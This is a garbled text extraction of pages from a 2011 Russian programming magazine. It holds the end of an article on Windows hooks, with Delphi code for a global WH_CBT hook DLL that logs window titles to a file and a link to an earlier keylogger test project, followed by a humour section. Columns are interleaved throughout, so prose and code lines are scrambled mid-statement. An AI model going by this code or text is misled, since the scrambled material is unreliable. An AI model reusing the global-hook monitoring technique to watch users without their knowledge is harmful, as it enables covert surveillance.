Все
равно TRUE (-1) то начальное созданный мьютекс
написать программу для мониторинга окон.
задает начальное состояние мьютекса, если оно сразу
иначе
же
захватывается
начальное
создающим
состояние
потоком,
создаваемого
мьютекса свободное. Третий параметр задает имя мьютекса, чтобы к созданному мьютексу могли
открыть
обратиться
другие
существующий
процессы.
мьютекс
использовать функцию OpenMutex:
Чтобы
необходимо
знания
необходимые
для
монитора окон мы получили, настало время
Сначала приведу код DLL который устанавливает и снимает хук:
procedure SetKeyHook; stdcall; export; begin if HookHandle=0 then begin
HANDLE OpenMutex(
HookHandle:=SetWindowsHookEx(WH_CBT,
DWORD dwDesiredAccess,
// access flag
@CBTHook,
BOOL bInheritHandle,
// inherit flag
hInstance,
LPCTSTR lpName // pointer to mutex-object name
0);
);
Первый
FileMappingHandle :=OpenFileMapping(FILE_MAP_WRITE,
параметр
мьютексу,
второй
задает
флаги
параметр
доступа
задает
наследования, третий – имя мьютекса.
false,
к
FileMappingName);
флаг
SharedBuffer :=MapViewOfFile(FileMappingHandle, FILE_MAP_WRITE, 0,
Первый параметр может принимать следующие
0,
значения: MUTEX_ALL_ACCESS – полный доступ, SYNCHRONIZE
–
только
для
синхронизации.
(впрочем, так и непонятно чем они друг от друга отличаются).
Если
какой-либо
хендл
ждущей
мьютекса
функции
передан
(например,
WaitForSingleObject), то эта функция проверяет его состояние, если он свободен (в сигнальном состоянии),
то
помечает
его
как
занятый
(переводит его в несигнальном состоянии) и возвращает управление.
MaxBufferSize); SyncMutexHandle :=OpenMutex(SYNCHRONIZE,False,MutexName); end; end; procedure DelKeyHook; stdcall; export; begin if HookHandle
0 then
begin UnhookWindowsHookEx(HookHandle); HookHandle:=0;
Если мьютекс находится в занятом состоянии
UnmapViewOfFile(SharedBuffer);
(несигнальном), то она ждет, когда он перейдет в
свободное (сигнальное) состояние, либо ждет
CloseHandle(FileMappingHandle);
возвращает
FileMappingHandle:=0;
окончания указанного интервала и только потом мьютекса
управление.
необходимо
ReleaseMutex,
передав
Для
освобождения
ей
единственный
вызывать
параметр – хендл мьютекса.
функцию
Допустим, у нас есть некоторый код, который работает
с
общими
данными
эксклюзивный доступ к ним. Шаблон кода будет таким:
АРХИВ
написания
и
необходим
CloseHandle(SyncMutexHandle); end; end;
Проблем с этим кодом быть не должно: при установке
хука
мы
открываем
нужные
нам
объекты и проецируем в нашу память общий буфер.
Далее приведен код функции фильтра:
СОДЕРЖАНИЕ
52
ПРО
граммист
ХУКИ В WINDOWS. ЧАСТЬ 1-2
№11 (февраль) 2011
function CBTHook(CODE, WParam, LParam: DWORD): DWORD; stdcall; var
обработчик
в
цепочке
обработчиков.
Потом
обрабатываем данные в зависимости от типа события.
ServerWnd: THandle; CurrentOffsetInBuffer:DWORD;
В событии HCBT_CREATEWND мы поучаем имя
CurrentPointer:pointer;
окна из структуры PCBTCreateWnd на которую
NewStr:string;
указывает параметр lParam, в остальных двух
WindowName:array[0..MAX_PATH-1] of char; begin Result:=CallNextHookEx(HookHandle, CODE, WParam, LParam); case CODE of
случаях мы получаем имя окна, используя ее хендл который находится в параметре wParam.
В событии HCBT_CREATEWND мы получаем имя
окна только в том случае если оно главное, т.е.
HCBT_ACTIVATE:
не имеет родителя, в остальных двух случаях мы
begin
производим обработку только в случае, если имя
GetWindowText(WParam,@WindowName,MAX_PATH);
окна не является пустой строкой. После того как
if WindowName='' then exit; NewStr:='Window activated at '+GetTime; NewStr:=NewStr+'. Window name '+WindowName+#13#10; end;
мы получили строку нам необходимо ее добавить в
буфер.
вызовами
Добавление функций
производится
между
WaitForSingleObject
и
ReleaseMutex чтобы обновление мог производить только один поток одновременно.
HCBT_CREATEWND: begin if PCBTCreateWnd(LParam)^.lpcs^.hwndParent0 then exit; NewStr:='Window created at ' +GetTime; if PCBTCreateWnd(LParam)^.lpcs^.lpszNamenil then NewStr:=NewStr +'. Window name '+
Осталось написать приложение сервер, которое будет запускать и останавливать мониторинг: procedure RunHook;
PCBTCreateWnd(LParam)^.lpcs^.lpszName +#13#10 else
begin FileMappingHandle :=CreateFileMapping(INVALID_HANDLE_VALUE, 0,
NewStr:=NewStr+#13#10;
PAGE_READWRITE,
end;
0, MaxBufferSize,
HCBT_DESTROYWND:
FileMappingName);
begin
SharedBuffer :=MapViewOfFile(FileMappingHandle,
GetWindowText(WParam, @WindowName,MAX_PATH);
FILE_MAP_WRITE,
if WindowName='' then exit;
0,
NewStr:='Window destoyed at '+GetTime;
0,
NewStr:=NewStr+'. Window name '+ WindowName+#13#10; end;
MaxBufferSize); ZeroMemory(SharedBuffer,MaxBufferSize);
end;
DWORD(SharedBuffer^):=4; SyncMutexHandle:=CreateMutex(0,false,MutexName);
WaitForSingleObject(SyncMutexHandle,INFINITE);
SetKeyHook; end;
CurrentOffsetInBuffer:=DWORD(SharedBuffer^); CurrentPointer :=pointer(DWORD(SharedBuffer) +
procedure StopHook;
CurrentOffsetInBuffer);
begin DelKeyHook;
CopyMemory(CurrentPointer,PChar(NewStr),length(NewStr));
DumpBuffer;
DWORD(SharedBuffer^):=CurrentOffsetInBuffer+length(NewStr); ReleaseMutex(SyncMutexHandle);
UnmapViewOfFile(SharedBuffer);
end;
В
начале
АРХИВ
CloseHandle(FileMappingHandle);
мы
сразу
вызываем
следующий
CloseHandle(SyncMutexHandle); end;
СОДЕРЖАНИЕ
53
ПРО
граммист
ХУКИ В WINDOWS. ЧАСТЬ 1-2
№11 (февраль) 2011
мэппинга мы не указываем никакого файла.
procedure DumpBuffer;
Сразу возникает вопрос: «...почему?». Смысл в
var
том, что размера выделяемого буфера может не
FH:THandle;
хватить
_WR:DWORD;
большой
begin
FILE_SHARE_READ, 0, OPEN_ALWAYS,0,0);
а
Хотя
в
буфер,
то
время
если
хук
от
времени
выделять
станет
данном
сразу
слишком
примере
не
надо будет обязательно реализовать в своих
программах. Все упомянутые в статье исходные
коды приведены непосредственно в архиве с журналом.
SetFilePointer(FH,0,0,FILE_END); WriteFile(FH, _Buff^, lstrlen(_Buff),_WR,0);
Ресурсы
CloseHandle(FH);
•
ZeroMemory(SharedBuffer, MaxBufferSize); end;
Пример [2] не претендует на звание самого лучшего и является всего лишь шаблоном для написания программ мониторинга окон. Заключение Я думаю, ничего сложного в этом коде нет. содержимое
буфера в файл. При создании объекта файлового
АРХИВ
его
файл,
места в буфере, об этом нельзя забывать и это
GENERIC_WRITE or GENERIC_READ,
скидывает
в
реализован сброс буфера в файл при нехватке
FH :=CreateFile(LogFileName,
DumpBuffer
придется
ресурсоемким.
_Buff:=pointer(DWORD(SharedBuffer)+4);
Функция
и
сбрасывать
_Buff:pointer;
• • •
Р.Аблязов. Хуки в Windows. Часть первая. Основы.
–
Блог
программистов
http://pblog.ru/?p=293 от 14.01.2009
Р.Аблязов. Хуки в Windows. Часть вторая. Работа
с
окнами.
–
Блог
программистов
http://pblog.ru/?p=437 от 30.03.2009 Скачать
исходник
первого
варианта
тестового проекта http://pblog.ru/wpcontent/ uploads/keylogger.zip
Скачать исходник второго варианта тестового проекта http://pblog.ru/wpcontent/uploads/ windowmonitor.zip
СОДЕРЖАНИЕ
54
ПРО
ЧЕГО ТОЛЬКО НЕ БЫВАЕТ
№11 (февраль) 2011
граммист
Памятка сисадминам на отдыхе •
обpащении – умей вовpемя отскочить.
Hе устанавливай локальных сеток. Сетевые устpойства
Рыбнадзоpом,
могут а
это
вызвать
лечится
конфликты потом
с
•
долго.
не
из
поpтов.
В
тpаффик, погонят. •
поpтах
большой
и
пеpесобpать.
•
Скачивать
воду
посвежее:
та,
может
потом
лучше
что
идет
из
в
колонок,
комплекте
она
пpеpываниями. •
•
с
имеет
ЮМОР
свойство
падать
пpи
пеpвом
вас
много
пользователей
–
совет:
договоpитесь и выделите в лесу отдельную Иначе
уже
чеpез
день-два
Спальник обычно велик по объему, но хоpошо сжимается
с
помощью
компpессионного
выше степень сжатия. •
Все источники
питания кpоме консеpвов
аpхивиpуй последовательно в два-тpи-четыpе
пакета, иначе после гpозы питание может
(если сломать – могут возникнуть конфликты). он
Если
метpов толстой pезинки - это дольше, зато
еще сыpые, на них обычно тpебуется лицензия
Поэтому лучше всего бpать стаpый отстой. Hо
выходом,
пакета любой веpсии. Я наматываю несколько
частыми
Самые свежие дpова pаботают хуже всего. Они
самым
По
исходники. Еще непpиятнее, если на чужие.
ландшафтом, не всегда коppектно pаботает отвлекать
пеpед
камнями.
будешь натыкаться повсюду на свои стаpые
устанавливаешь впеpвые – обязательно изучи
•
обложи
pаботы,
своп-паpтицию.
Если
мануал, там много нетpивиального.
окончании
и
попpосив всех дам отвеpнуться.
Если кpиво установилась палатка – надо не полениться
окопай
зашатдаунь ногами и залей туда свой лог,
Лучше ставь локальную удочку на беpегу, но только
Файpвол
надолго выpубиться. •
Hа консеpвах всегда смотpи номеp веpсии и
СОДЕРЖАНИЕ
55
ПРО
граммист
ЧЕГО ТОЛЬКО НЕ БЫВАЕТ
№11 (февраль) 2011
дату. Стаpые веpсии не используй и не хpани –
местом.
будет.
Восстановить диск – большая пpоблема.
выбpасывай без сомнений, с ними жизни не
•
Следи, чтобы у палатки всегда была хоpошая пpошивка.
Особенно
какой-нибудь
если
там
эмулятоp
установлен
виндоус
•
позвоночника
•
–
потенциальная дыpа в безопасности.
Полог никогда не оставляй pазмонтиpованным
на ночь. Иначе налетит туча мелких хакеpов и
•
Если
есть
антивиpус
столбняка.
возможность
пpотив Hе
–
поставь
энцефалитного
ставь
сам,
себе
бага
и
воспользуйся
стандаpтным доктоpом - он все пpопишет и поставит как надо под лопатку. •
Собиpая pюкзак, не пользуйся комплектами, котоpые много весят – ищи более легкие и
компактные аналоги. Иначе будет пpоблема с
ЮМОР
от
может
частых
пеpезагpузок
полететь
диск!
Беpежно хpани ключи и документацию на себя:
в
геpметичном
пакетике
в
каpмане
pюкзака или в ксивнике на шее. Потеpяешь – не восстановишь. •
до утpа будет тыкаться, как бы чего у тебя выкачать.
Помни:
Почаще стиpай софт, меняй на свежий. Суши
над файpволом, но не близко. Увидев медведя – не пингуй. Веди себя по умолчанию.
•
Заходи
в
саpай
сеpьезные гpабли.
аккуpатно
–
могут
быть
Hу и так далее. Да в общем-то все это ты и сам
знаешь. Hе бывает таких пpоблем, котоpые не смог
бы
отдыха!
pешить
настоящий
админ.
Удачного
Психологический тест для физиков: Жалко ли вам кота Шредингера?
СОДЕРЖАНИЕ
56
ПРО
ЧЕГО ТОЛЬКО НЕ БЫВАЕТ
№11 (февраль) 2011
граммист
Халявному нету в пинг не смотрят... Скоро
создатели
Википедии
Существует обычай, что, когда женятся два соберут
информацию о человечестве и улетят
всю
программиста,
тещей
плата компьютера жены.
считается
материнская
обратно...
На праздники уезжал на 2 недели домой и на
Мне очень нравится группа Unknown Artist, ну вы
люди пользуются, мне не жалко. Даже сеть назвал
ее знаете, они поют Track 1, Track 2. Ну а от Track 9 я ваще тащусь!
Разбираю билеты по
съемной квартире расшарил вайфай, думаю пусть «Всех с Наступающим». Каково же было моё удивление,
когда
по
Метод
ящике лежала записка
Фейера...
задание
содержанием «А говорил, что не найду».
в
билете: «Пересоберите
xxx: Главное правило
ядро Дирихле...» Прoграммист
линуксоида: если есть два способа, простой и
ставит
сложный, то выбирай
себе на тумбoчку перед
сложный, так как он
снoм два стакана. Один
проще
с вoдoй на случай, если
соба,
захoчет нoчью пить. А
На
выдался непрос-
наставший, простой!
Где
форуме
спо-
тоже
еще
по
и
3D-
зато
ХХХ: 01/01/2011, 04:06
радость-
киниматике 0, но хочу
2011
то, радость где?
но
графике
той, – пишут админы на Так
который
кривой
чай, если не захoчет.
главной.
простого
сложный,
втoрoй, пустoй, на слу-
Год
я
форумах, а в почтовом
Ядро Фейера...». Так и представил
домой
обнаружил что меня забанили на 2-х трекерах, 4-х
рядам: «..Ядро Дирихле...
возвращению
–
Я
анимации
было мимолетное мужс-
Задача
щупальца
доктора
Отто
кое внимание...
и
научиться. сделать
xxx: А у меня сегодня
что-то
Октавиуса
типа из
Spider Man 2 ...нужно
xxx: в автобусе еду, и
сделать
тут такой милый мальчик заходит
в
каждый
так,
сустав
свободный
ход
чтоб
имел
X/Y,
xxx: и рядом со мной садится...
например 20 градусов и немного вокруг своей оси,
xxx: а потом ехал, смотрел на меня, и улыбался...
начинал двигаться другой сустав. На картинке
xxx: пока садился, положил мне руку на коленку yyy: ну-у-у и? xxx: что и...
xxx: ему на вид года 3...
xxx: и он сидел на руках у мамы.
ЮМОР
градусов 5, например. И при достижении 20 гр., упрощенная схема, но мне главное понять, чем делать. Может костями или чем-то еще.... УУУ: 01/01/2011, 04:21
чува-а-к, тебя реально щас это интересует?
СОДЕРЖАНИЕ
57